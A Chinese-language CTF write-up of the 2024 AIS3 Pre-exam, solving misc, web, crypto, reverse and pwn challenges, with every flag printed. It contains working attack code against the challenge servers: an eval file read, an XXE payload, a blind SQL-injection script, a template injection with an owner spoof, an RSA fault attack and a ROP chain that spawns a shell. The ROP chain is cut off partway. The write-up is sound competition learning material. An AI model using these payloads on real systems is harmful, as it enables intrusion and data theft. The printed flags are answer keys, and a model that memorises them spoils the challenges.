# 2024 AIS3 Pre-exam & MyFirstCTF Writeup ## Misc ### Welcome --- ![Welcome](https://hackmd.io/_uploads/SJxaHCZVR.png) Flag就在題敘上,複製貼上即可 FLAG:AIS3{Welc0me_to_AIS3_PreExam_2o24!} --- ### Hash Guesser --- ![dest](https://hackmd.io/_uploads/SyT_1ffE0.png) ![page](https://hackmd.io/_uploads/HkfXZzf40.png) 網站要求上傳照片,並與其背後生成的照片做比較,吻合就能得到FLAG 生成照片: ```python= def generate_image(): h = hashlib.sha256(secrets.token_bytes(16)).hexdigest() image = Image.new("L", (16, 16), 0) pixels = [255 if c == '1' else 0 for c in bin(int(h, 16))[2:].zfill(256)] image.putdata(pixels) return image ``` 做比較: ```python= def is_same_image(img1: Image.Image, img2: Image.Image) -> bool: return ImageChops.difference(img1, img2).getbbox() == None ``` 從 ImageChops.difference 去尋找原始碼 ```c= Imaging ImagingChopDifference(Imaging imIn1, Imaging imIn2) { CHOP(abs((int)in1[x] - (int)in2[x])); } ``` CHOP: ```c= #define CHOP(operation) \ int x, y; \ Imaging imOut; \ imOut = create(imIn1, imIn2, NULL); \ if (!imOut) { \ return NULL; \ } \ for (y = 0; y < imOut->ysize; y++) { \ UINT8 *out = (UINT8 *)imOut->image[y]; \ UINT8 *in1 = (UINT8 *)imIn1->image[y]; \ UINT8 *in2 = (UINT8 *)imIn2->image[y]; \ for (x = 0; x < imOut->linesize; x++) { \ int temp = operation; \ if (temp <= 0) { \ out[x] = 0; \ } else if (temp >= 255) { \ out[x] = 255; \ } else { \ out[x] = temp; \ } \ } \ } \ return imOut; ``` create: ```c= static Imaging create(Imaging im1, Imaging im2, char *mode) { int xsize, ysize; if (!im1 || !im2 || im1->type != IMAGING_TYPE_UINT8 || (mode != NULL && (strcmp(im1->mode, "1") || strcmp(im2->mode, "1")))) { return (Imaging)ImagingError_ModeError(); } if (im1->type != im2->type || im1->bands != im2->bands) { return (Imaging)ImagingError_Mismatch(); } xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize; ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize; return ImagingNewDirty(im1->mode, xsize, ysize); } ``` 其中這兩行是關鍵 ```c= xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize; ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize; ``` 這代表兩張圖片的尺寸會選擇較小的值,原本程式生成的圖片為16x16,可以生成一個1x1的圖片,這樣只需要比較一個pixel,且值只可能是255或是0 生成1x1圖片的程式: ```python= def generate_image(): image = Image.new("L", (1, 1), 0) pixels = [0] image.putdata(pixels) return image i = generate_image() i.save('./image.jpg', "PNG") ``` 最後多上傳幾次就能取得FLAG ![find_flag](https://hackmd.io/_uploads/Hkw5bMMV0.png) FLAG:AIS3{https://github.com/python-pillow/Pillow/issues/2982} --- ### Emoji Console --- ![dest](https://hackmd.io/_uploads/HJzUeff4A.png) ![terminal](https://hackmd.io/_uploads/HyJefzz4R.png) 一個只能用emoji的terminal 🐱為 cat,⭐為 * 🐱 ⭐ -> cat * :把目前位置的所有檔案 cat 出來 得到一個emoji跟字元的對應表,且得知目前路徑有個flag的資料夾 ![cat1](https://hackmd.io/_uploads/SJJC7fM4R.png) ![cat2](https://hackmd.io/_uploads/BkmNEzz4C.png) 重要的有 🐱 -> cat:輸出檔案內容 ⭐ > *:代表任一或多個字元 🐍 -> python:運行python程式 😜 -> ;P:用分號結束前面的指令 💿 -> cd:切換資料夾 😑 -> :|:冒號做佔位符,並 pipe 到下一個指令 🚩 -> flag: 就是 flag 然後看flag裡面的內容 指令為 "💿 🚩😜 😑🐱 ⭐" 裡面有個 python 的檔案 ![flag-cat](https://hackmd.io/_uploads/ByiWSfMNC.png) 最後執行這個python檔,取得FLAG 指令為 "💿 🚩😜 😑🐍 ⭐" ![flag](https://hackmd.io/_uploads/ryTwBzf40.png) FLAG:AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈} --- ### Three Dimensional Secret --- ![dest](https://hackmd.io/_uploads/rk-kIzz4R.png) 拿到一個 pcapng 的檔案,用 wireshark 打開,在裡面瀏覽,在搜尋 "tcp.stream eq 0" 時,Follow 後取得一段 Gcode ![gcode](https://hackmd.io/_uploads/HyW5vzzER.png) 最後執行這段 Gcode,取得FLAG ![flag](https://hackmd.io/_uploads/rkMTPGfER.png) FLAG:AIS3{b4d1y_tun3d_PriN73r} --- ### Quantum Nim Heist --- ![dest](https://hackmd.io/_uploads/rkStdfMVC.png) 跟AI打一場Nim 根據 https://zh.wikipedia.org/zh-tw/%E5%B0%BC%E5%A7%86%E6%B8%B8%E6%88%8F ,若場上所有pile的尼姆和為0,下家無論如何取,尼姆和絕不為零,而此時上家重新將牌型回到尼姆和為0的狀態,這狀況下下家不可能獲勝。而程式中AI一直將玩家的牌型維持在尼姆和為零的狀態,玩家正常玩是不可能獲勝的。 生成遊戲: ```python= def generate_losing_game(self) -> None: '''generate a game such that the second player has a winning strategy''' self.stones = [] xor_sum = 0 piles = random.randint(6, 8) for i in range(piles): self.stones.append(count := random.randint(1, 31)) xor_sum ^= count if xor_sum != 0: self.stones.append(xor_sum) ``` AI: ```python= def get_move(self, game: Game) -> Tuple[int, int]: ''' if there is a winning strategy, returns a move that guarantees a win. otherwise, returns a random move. ''' nim_sum = game.nim_sum() if nim_sum == 0: # losing game, make a random move pile = random.randint(0, len(game.stones) - 1) count = random.randint(1, game.stones[pile]) else: # winning game, make a winning move for i, v in enumerate(game.stones): target = v ^ nim_sum if target < v: pile = i count = v - target break return (pile, count) ``` 但是遊戲中判斷玩家行動的部分有 bug ```python= def play(game: Game): ai_player = AIPlayer() win = False while not game.ended(): game.show() print_game_menu() choice = input('it\'s your turn to move! what do you choose? ').strip() if choice == '0': pile = int(input('which pile do you choose? ')) count = int(input('how many stones do you remove? ')) if not game.make_move(pile, count): print_error('that is not a valid move!') continue elif choice == '1': game_str = game.save() digest = hash.hexdigest(game_str.encode()) print('you game has been saved! here is your saved game:') print(game_str + ':' + digest) return elif choice == '2': break # no move -> player wins! if game.ended(): win = True break else: print_move('you', count, pile) game.show() # the AI plays a move pile, count = ai_player.get_move(game) assert game.make_move(pile, count) print_move('i', count, pile) if win: print_flag(flag) exit(0) else: print_lose() ``` 系統預期的輸入為0, 1, 2,但沒有對以外的輸入做額外的處理,而是仍執行下去。所以如果先隨便動一步,再輸入以外0, 1, 2 以外的字元,此時玩家不會有行動,但 AI 會行動,所以輪到玩家時尼姆和將不為 0,而玩家只要一直將尼姆和為零,就能獲勝,最後取得 FLAG ![flag](https://hackmd.io/_uploads/rJnBJ7MVA.png) FLAG:AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} --- ## Web ### Evil Calculator --- ![dest](https://hackmd.io/_uploads/rk9xemGNA.png) ![cal](https://hackmd.io/_uploads/SJv8gQME0.png) 一個簡單的計算機網站,背後計算的函式如下 ```python= @app.route('/calculate', methods=['POST']) def calculate(): data = request.json expression = data['expression'].replace(" ","").replace("_","") try: result = eval(expression) except Exception as e: result = str(e) return jsonify(result=str(result)) ``` 上面的 eval 可以運行 python 的語法,我一開始想到引入 os 然後用 os.system 達成RCE,但前面會將空白跟底線給過濾掉,所以想要引入 os 有困難,後來想到給的原始碼中有 flag 檔案,所以其實 flag 的位置是知道的,只要讀就行了,所以最後的 payload 為 ```python= open('../flag').read() ``` ![flag](https://hackmd.io/_uploads/H1cVZQGEC.png) FLAG:AIS3{7RiANG13_5NAK3_I5_50_3Vi1} --- ### Ebook Parser ![dest](https://hackmd.io/_uploads/Bke2bmfVC.png) ![page](https://hackmd.io/_uploads/SkRuM7MER.png) 我建了一個空的 word 檔,然後存成 pdf,然後在用網路上的轉換器將其轉換成 epub 檔,最後再用程式將需要的參數補上。 程式: ```python= import ebookmeta meta = ebookmeta.get_metadata('wuming.epub') meta.title = "" meta.set_author_list_from_string('Isaac Azimov, Arthur Charles Clarke') ebookmeta.set_metadata('wuming.epub', meta) ``` 後來用文字編輯器看了一下 epub 檔,發現標頭 PK 以及 metadata 是由xml組成。 ![editor](https://hackmd.io/_uploads/HJOOrmMVR.png) 然後 file 一下,發現是 zip,且可以解壓縮 ![zip](https://hackmd.io/_uploads/HkAyU7GNA.png) ![unzip](https://hackmd.io/_uploads/ByjJM_m4A.png) 而 content.opf 就是剛剛的 metadata ```xml= <?xml version='1.0' encoding='utf-8'?> <package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="BookId"> <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf"> <dc:identifier opf:scheme="UUID" id="BookId">urn:uuid:8059C9C3-3262-4BCE-81CC-6AA6E00B6F68</dc:identifier> <dc:language>en</dc:language> <dc:title></dc:title> <meta name="cover" content="cover.jpg"/> <meta name="Lighten PDF Converter version" content="5.2.0"/> <dc:date xmlns:opf="http://www.idpf.org/2007/opf" opf:event="modification">2016-12-09</dc:date> <dc:creator opf:role="aut">Isaac Azimov</dc:creator><dc:creator opf:role="aut">Arthur Charles Clarke</dc:creator></metadata> <manifest> <item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml"/> <item id="x1.html" href="Text/1.html" media-type="application/xhtml+xml"/> <item id="cover.jpg" href="Images/cover.jpg" media-type="image/jpeg"/> </manifest> <spine toc="ncx"> <itemref idref="x1.html"/> </spine> <guide> </guide> </package> ``` 插入 XXE 的 payload ```xml= <?xml version='1.0' encoding='utf-8'?> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]> ... <dc:title>&ent;</dc:title> ... ``` 然後把剛剛解壓縮的東西壓縮回去,然後上傳上去就能得到 FLAG ![flag](https://hackmd.io/_uploads/Hk5qDmGV0.png) FLAG:AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default} --- ### It's MyGO!!!!! --- ![dest](https://hackmd.io/_uploads/rJk9_QfER.png) ![page-min](https://hackmd.io/_uploads/SyrIYXMVA.png) 根據提示,此題應該要 SQLi ,而明顯可以下手的地方是 /song?id=1 的 id 參數 ![id](https://hackmd.io/_uploads/r1UM9XGVA.png) 一開始嘗試 UNION SELECT 但網頁一直跑不出來,後來用 ORDER BY 1 就可行得知只有抓一欄,但其實不太重要 目前已知 FLAG 在 /flag,MySQL中有 LOAD_FILE() 的函式可以閱讀文件的資料, 先找的 FLAG 長度,payload 為 ```mysql 1 AND LENGTH(LOAD_FILE("/flag"))={num} # (num: 數字) ``` 找到長度為 62 然後開始找各個字元 一開始我是用 ```mysql 1 AND SUBSTR(LOAD_FILE("/flag"),{idx},1)={chr} # (idx:字元的位置, chr:字元) ``` 但當 idx = 22 時,字元似乎用一般的 ASCII 字元讀不出來 後來上網查到 MySQL 中有 ASCII() 可以將字元轉換成數字, 於是 payload 改為 ```mysql 1 AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))={num} # (idx:字元的位置, num:數字) ``` flag 就能完整讀出來,後面會之所以讀不出來是因為數字已經超過 128,如果直接換成字元會長成下圖這樣 ![incorrect](https://hackmd.io/_uploads/ByF24dXVR.png) 可以看到長得很奇怪,而且有些字元是印不出來的,直接丟這個 flag 會顯示是不正確的 於是我後來選擇將數字印出來,然後換成 hex 字串,然後再網路上找個 hex to utf-8 轉換器得到 FLAG ![list](https://hackmd.io/_uploads/H1U2IOQNC.png) ![hex](https://hackmd.io/_uploads/rkV6I_7V0.png) ![flag](https://hackmd.io/_uploads/S13ALu7V0.png) 我用的程式: ```python= import requests import string flag = [] url = f'http://chals1.ais3.org:11454/song?id=1' nodata = 700 def isLess(idx, ch): full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))>' query_url = full_url + f'{ch}' r = requests.get(query_url) return len(r.content) > nodata def isLager(idx, ch): full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))<' query_url = full_url + f'{ch}' r = requests.get(query_url) return len(r.content) > nodata def isEqual(idx, ch): full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))=' query_url = full_url + f'{ch}' r = requests.get(query_url) return len(r.content) > nodata while len(flag) < 62: idx = len(flag) + 1 left = 0 right = 65535 while left <= right: mid = (left + right) // 2 if isLess(idx, mid): left = mid + 1 elif isLager(idx, mid): right = mid - 1 elif isEqual(idx, mid): flag.append(mid) break print(flag, len(flag)) ``` FLAG:AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸} --- ### Capoost --- ![image](https://hackmd.io/_uploads/SJqcJTNN0.png) ![image](https://hackmd.io/_uploads/SJx_laEN0.png) 我一開始根據提示嘗試找登入介面的漏洞,發現如果先創建了帳號,然後之後只送用戶名稱是可以登入的 正常登入: ![image](https://hackmd.io/_uploads/SkSv-TVEC.png) 只送 username: ![image](https://hackmd.io/_uploads/B1_9ZTENA.png) 但目前還不知道管理員的 username,所以只能先找其他地方 ![image](https://hackmd.io/_uploads/Hy8NGaEE0.png) 登入進來之後,有個創建貼文的按鈕,裡面有三個 template 可以用,但嘗試 SSTI 和 XSS 都沒有效果。 ![image](https://hackmd.io/_uploads/BkOfX64VC.png) ![image](https://hackmd.io/_uploads/rJDLQa4N0.png) 後來發現在 /template/read?name= 這個地方是可以 path traversal 的,而根據提示要先讀的是 Dockerfile ![image](https://hackmd.io/_uploads/HkHlVaVVR.png) 在 Dockerfile 裡面運行了 make 指令,表示可能還有 Makefile ![image](https://hackmd.io/_uploads/Hk2v46NVR.png) Makefile(部分): ```make= ... run: main.go go.mod go.sum $(importdir) $(builder) run $< readflag: readflag.go #$(builder) build -o $(builddir)/readflag -tags $(tags) $< (builder) build -o $(builddir)/readflag $< ... ``` 而從上面這部分得知有 readflag.go 和 main.go 這兩個程式檔 readflag.go 只是一個讀 flag 的程式,沒甚麼重要的 而 main.go 裡的這一段 ```go= import ( // "net/http" "github.com/gin-gonic/gin" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/go-errors/errors" "capoost/router" "capoost/utils/config" // "capoost/utils/database" "capoost/utils/errutil" "capoost/middlewares/auth" ) ``` 這段顯示在這資料夾的其它程式,所以順著其它程式的 import 就能大致還原整個資料夾的架構 而在 model/users/users.go 可以知道到管理員的名稱 ```go= const adminname = "4dm1n1337" ``` 然後用之前找到的登入漏洞就可以登進去 ![image](https://hackmd.io/_uploads/r1_iwTN4C.png) admin 的介面功能是可以新增 template ,根據之前看到的 template 可知,這裡是可以SSTI 的 ![image](https://hackmd.io/_uploads/rkSXOpN40.png) 而在 router/post/post.go 中有這樣一段 ```go= t := template.New(nowpost.Template) if nowpost.Owner.ID == 1 { t = t.Funcs(template.FuncMap{ "G1V3m34Fl4gpL34s3": readflag, }) } ``` ID 1 是 admin 的,如果一則貼文是由 admin 創建,那就可以用 template 藉由 FuncMap 執行函式 readflag 但是 admin 沒有創建貼文的權限 ![image](https://hackmd.io/_uploads/Hyvw5T4V0.png) 而在 model/post/post.go 的 UnmarshalJSON() 有這樣一段 ```go= if tmp.Owner != "" { if owner, err := user.GetUser(tmp.Owner); err == nil { c.OwnerID = owner.ID c.Owner = owner } } ``` 如果在 post 中有一欄 Owner 的資料,那此貼文的擁有者就會設成 Owner 所以只要將 Owner 設成 admin 的名字就能創建一篇 admin 擁有的貼文, 配合剛剛的 template 應該就能讀 FLAG ![owner](https://hackmd.io/_uploads/BJIca6VNC.png) ![postlist](https://hackmd.io/_uploads/SJRc66E4C.png) 但沒法讀... ![image](https://hackmd.io/_uploads/B1J-RaNE0.png) 因為在 router/post/post.go 中還有這一段 ```go= if strings.Contains(b.String(), "AIS3") { errutil.AbortAndError(c, &errutil.Err{ Code: 403, Msg: "Flag deny", }) } ``` 後來我想到只需要截一段子字串就好,而 ```{{ slice }}``` 可以達到這效果 長度的話我一個一個去試,最後的 payload 為 ```{{ slice G1V3m34Fl4gpL34s3 1 38 }}``` ![image](https://hackmd.io/_uploads/BJhHeCENR.png) FLAG:AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(} --- ## Crypto ### babyRSA --- ![dest](https://hackmd.io/_uploads/Sy_Qq_mE0.png) 從 output.txt 可以得知 e, n,以及 FLAG 是一個一個字元去編碼的,所以只要去把所有字元用 e, n 去建一張表,然後再去一一對應就能得到 FLAG ![flag](https://hackmd.io/_uploads/HklModQVR.png) 我用的程式: ```python= l = [(略)] import string e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649) dic = dict() d = string.ascii_letters + string.digits + string.punctuation def build_dict(): for c in d: k = pow(ord(c), e, n) dic[k] = c build_dict() flag = [None for _ in range(len(l))] for i in range(len(l)): flag[i] = dic[l[i]] print(''.join(flag)) ``` FLAG:AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} --- ### zkp --- ![dest](https://hackmd.io/_uploads/H1SfT_7EC.png) 給 g, p, y,已知 $g^f\ =\ y\ (mod\ p)$,求 $f$ (FLAG) 是多少 ![arg](https://hackmd.io/_uploads/ryjz0u74C.png) 網路上查一下,這是離散對數問題。我在 https://ask.sagemath.org/question/61249/discrete_log/ 得知 sagemath 有個函式 discrete_log() 可以解這個問題,於是我就用了,然後得到 FLAG ![flag_int](https://hackmd.io/_uploads/BkXAJK7V0.png) ![flag](https://hackmd.io/_uploads/r1mIlKmN0.png) FLAG:AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ} --- ### easyRSA --- ![image](https://hackmd.io/_uploads/B1PZltrV0.png) 在網路上查了一下 crt-rsa 有哪些可以下手的地方,然後查到這篇 https://crypto.stackexchange.com/questions/63710/fault-attack-on-rsa-crt 已知原本的訊息 $m$ 以及公鑰 $e$, $n$,創造 crt-rsa signature 但是 $mP$ 與 $mQ$ 其中之一是錯誤的,會生成一個錯誤的 $faultSignature$,而此時就能得到其中一個質數 $p$,公式為 $p = gcd(faultySignature^e−m,N)$ 而題目中生成 signature 的函式: ```python= bug = lambda : random.randrange(0, 256) def sign(sk, message: bytes): dP, dQ, qInvP, p, q = sk data = bytes_to_long(sha256(message).digest()) # use CRT optimize to sign the signature, # but there are bugs in my code QAQ a = bug() mP = pow(data, dP, p) ^ a b = bug() mQ = pow(data, dQ, q) ^ b k = (qInvP * (mP - mQ)) % p signature = mQ + k * q return long_to_bytes(signature) ``` 雖然生成 mP 跟 mQ 都分別 xor 了 a, b,但只要 a, b 其中之一為零,mP, mQ 其中之一也會保持原來的值,此時就可以推出質數 p,然後算出 q 而最後是驗證的部分: ```python= # message = b"Give me the flag!" def verify(pk, message: bytes, signature: bytes): e, n = pk data = bytes_to_long(sha256(message).digest()) return data == pow(bytes_to_long(signature), e, n) ``` 密文為 b"Give me the flag!" 的 sha256 hash,在 p, q 後就能推出密鑰 d,從而解出要送的 signature 是多少,然後得到 FLAG ![image](https://hackmd.io/_uploads/H1rANYrVC.png) 腳本: ```python= import math from hashlib import sha256 import base64 from Crypto.Util.number import bytes_to_long, long_to_bytes from pwn import * p = 1 while p == 1: r = remote('chals1.ais3.org', 7001) r.recvuntil(b'Option: ') r.sendline(b'1') r.recvuntil(b'(') key_pair = r.recvuntil(b')')[:-1].decode() e, n = [int(n) for n in key_pair.split(',')] message = bytes_to_long(sha256(b64d(b"R2l2ZSBtZSB0aGUgZmxh")).digest()) # print(e, n) for i in range(3): r.recvuntil(b'Option: ') r.sendline(b'2') r.recvuntil(b'Your message (In Base64 encoded): ') r.sendline(b"R2l2ZSBtZSB0aGUgZmxh") r.recvuntil(b'Signature: ') faultSignature = b64d(r.recvline()[2:-2]) faultSignature = bytes_to_long(faultSignature) # print(faultSignature) p = math.gcd((pow(faultSignature, e, n) - message + n) % n, n) print(p) if p != 1: break if p != 1: break r.close() if p != 1: print('Find p!') c = 58390298905807142549536595535040245956000670278430985491775738737127640060178 p, q = (p, n // p) phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = b64e(long_to_bytes(pow(c, d, n))) print(m) print(r.recvuntil(b'Option: ')) r.sendline(b'3') print(r.recvuntil(b'Your signature (In Base64 encoded): ')) r.sendline(m) print(r.recv()) r.close() ``` FLAG:AIS3{IJustWantItFasterQAQ} --- ## Reverse ### The Long Print --- ![image](https://hackmd.io/_uploads/S1B2RyUE0.png) 首先我用 ghidra 發現程式內有 sleep 函式,將其設為 0 ![image](https://hackmd.io/_uploads/rkXJggLN0.png) 結果將改過的程式執行沒跑出 FLAG ![image](https://hackmd.io/_uploads/SyBVeeI40.png) 後來看了下 secret 跟 key, secret 裡有 4 個 bytes 是用來 xor 的,每段後面還跟著數字來表示要用哪組 key key 就是用來和 secret xor來取得 FLAG 的 於是我將 secret 跟 key 取出,自己寫程式做 xor 得到 FLAG ![image](https://hackmd.io/_uploads/SyKz5l8VR.png) 腳本: ```python= from pwn import * key = [0x3a011001, 0x4c4c1b0d, 0x3a0b002d, 0x454f40, 0x3104321a, 0x3e2d161d, 0x2c120a31, 0x0d3e1103, 0x0c1a002c, 0x41d1432, 0x1a003100, 0x76180807] idx = [11, 10, 2, 8, 6, 5, 7, 4, 9, 0, 1, 3] flag = [0x454b4146, 0x6f6f687b, 0x5f796172, 0x69727473, 0x5f73676e, 0x615f7369, 0x7961776c, 0x6e615f73, 0x6573755f, 0x5f6c7566, 0x6d6d6f63, 0x7d7a6e61] h = [p32(flag[i] ^ key[idx[i]]) for i in range(12)] s = ''.join([c.decode() for c in h]) print(s) ``` FLAG:AIS3{You_are_the_master_of_time_management!!!!?} 補充: 賽後我在把程式內迴圈終止條件的值改大後,程式引發 Segmentation fault,結果把 FLAG 也印出來了 ![image](https://hackmd.io/_uploads/S1rdoxLNR.png) --- ### 火拳のエース --- ![image](https://hackmd.io/_uploads/H1hw1bUEA.png) 先用 ghidra 發現程式內有 sleep 函式,將其設為 0 然後跑程式就會得到 FLAG 的前面一部分,但後半部分需要在探索 ![image](https://hackmd.io/_uploads/SJXOxWUER.png) 首先看 main 函式 ![image](https://hackmd.io/_uploads/S19IZb8EC.png) 輸入的字串會拆分成8個字一組 然後分別與程式內的其它四組 key xor,然後通過 complex_function,最後在與下面四組字串比較 所以現在就是要從那四組字串還原 FLAG 的後半部 下面是 complex_function: ![image](https://hackmd.io/_uploads/S1Zm7WLVA.png) 我做的還原函式: ```python= def decode(c, i): v8 = ord(c) - 65 v2 = i % 3 if v2 == 2: v8 = (v8 + 5) % 26 elif v2 == 1: v8 = (v8 + 18) % 26 else: for idx in range(26): if v8 == d0[idx]: v8 = idx break rot = (-(17 * i) + 65) % 26 e = v8 + rot while e < 65: e += 26 return e ``` 然後最後就是分別將四組字串 xor 回去,最後得到 FLAG ![image](https://hackmd.io/_uploads/SkLpX-IV0.png) 丟入程式也會顯示這部分是對的 ![image](https://hackmd.io/_uploads/ryfIVbUNC.png) 腳本: ```python= d0 = [7, 10, 13, 16, 19, 22, 25, 2, 5, 8, 11, 14, 17, 20, 23, 0, 3, 6, 9, 12, 15, 18, 21, 24, 1, 4] d1 = [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, 1, 2, 3, 4, 5, 6, 7] d2 = [21, 22, 23, 24, 25, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] def decode(c, i): v8 = ord(c) - 65 v2 = i % 3 if v2 == 2: v8 = (v8 + 5) % 26 elif v2 == 1: v8 = (v8 + 18) % 26 else: for idx in range(26): if v8 == d0[idx]: v8 = idx break rot = (-(17 * i) + 65) % 26 e = v8 + rot while e < 65: e += 26 return e a = "DHLIYJEG" b = "MZRERYND" c = "RUYODBAH" d = "BKEMPBRE" de_a = [None for _ in range(8)] de_b = [None for _ in range(8)] de_c = [None for _ in range(8)] de_d = [None for _ in range(8)] for i in range(8): de_a[i] = decode(a[i], i) de_b[i] = decode(b[i], i + 32) de_c[i] = decode(c[i], i + 64) de_d[i] = decode(d[i], i + 96) print(de_a+de_b+de_c+de_d) key_a = [0x0e, 0x0d, 0x7d, 0x6, 0x0f, 0x17, 0x76, 0x4] key_b = [0x6d, 0x0, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11] key_c = [0x1e, 0x7e, 0x06, 0x13, 0x7, 0x66, 0x0e, 0x71] key_d = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33] def xor(a, b): return chr(a ^ b) for i in range(8): de_a[i] = xor(de_a[i], key_a[i]) de_b[i] = xor(de_b[i], key_b[i]) de_c[i] = xor(de_c[i], key_c[i]) de_d[i] = xor(de_d[i], key_d[i]) print(''.join(de_a+de_b+de_c+de_d)) ``` FLAG:AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} --- ## Pwn ### Mathter --- ![image](https://hackmd.io/_uploads/H1FhHKH4C.png) 一開始用 ida 分析了程式,發現 goodbye 中有個 gets 函式 ![image](https://hackmd.io/_uploads/S1dmUFB4R.png) 進入點有了,於是看這程式的資訊 ![image](https://hackmd.io/_uploads/H1N9UFr4A.png) NX 我查了是設定好存資料的區塊是不能執行指令的,所以插入 shellcode 是不太可行的 Canary 雖然這裡也有找到,但我在解題過程中並沒有受到其阻礙 另外,程式是 statically linked 的,所以 Library 也已經含在程式裡 於是我想到用 ROPgadget 生成 ropchain, 然後 padding 為字元陣列大小 4 加 rbp 的 size 8 等於 12 最後就能得到 shell 取得 FLAG ![image](https://hackmd.io/_uploads/rkb2_YBNR.png) 腳本: ```python= from pwn import * # r = process('./mathter') r = remote('chals1.ais3.org', 50001) print(r.recvuntil(b': ')) r.sendline(b'q') from struct import pack # Padding goes here p = b'' p += b'a' * 12 p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc000) # @ .data p += pack('<Q', 0x000000000042e3a7) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000402540) # pop rdi ; ret p += pack('<Q', 0x00000000004bc000) # @ .data p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x000000000047b917) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; 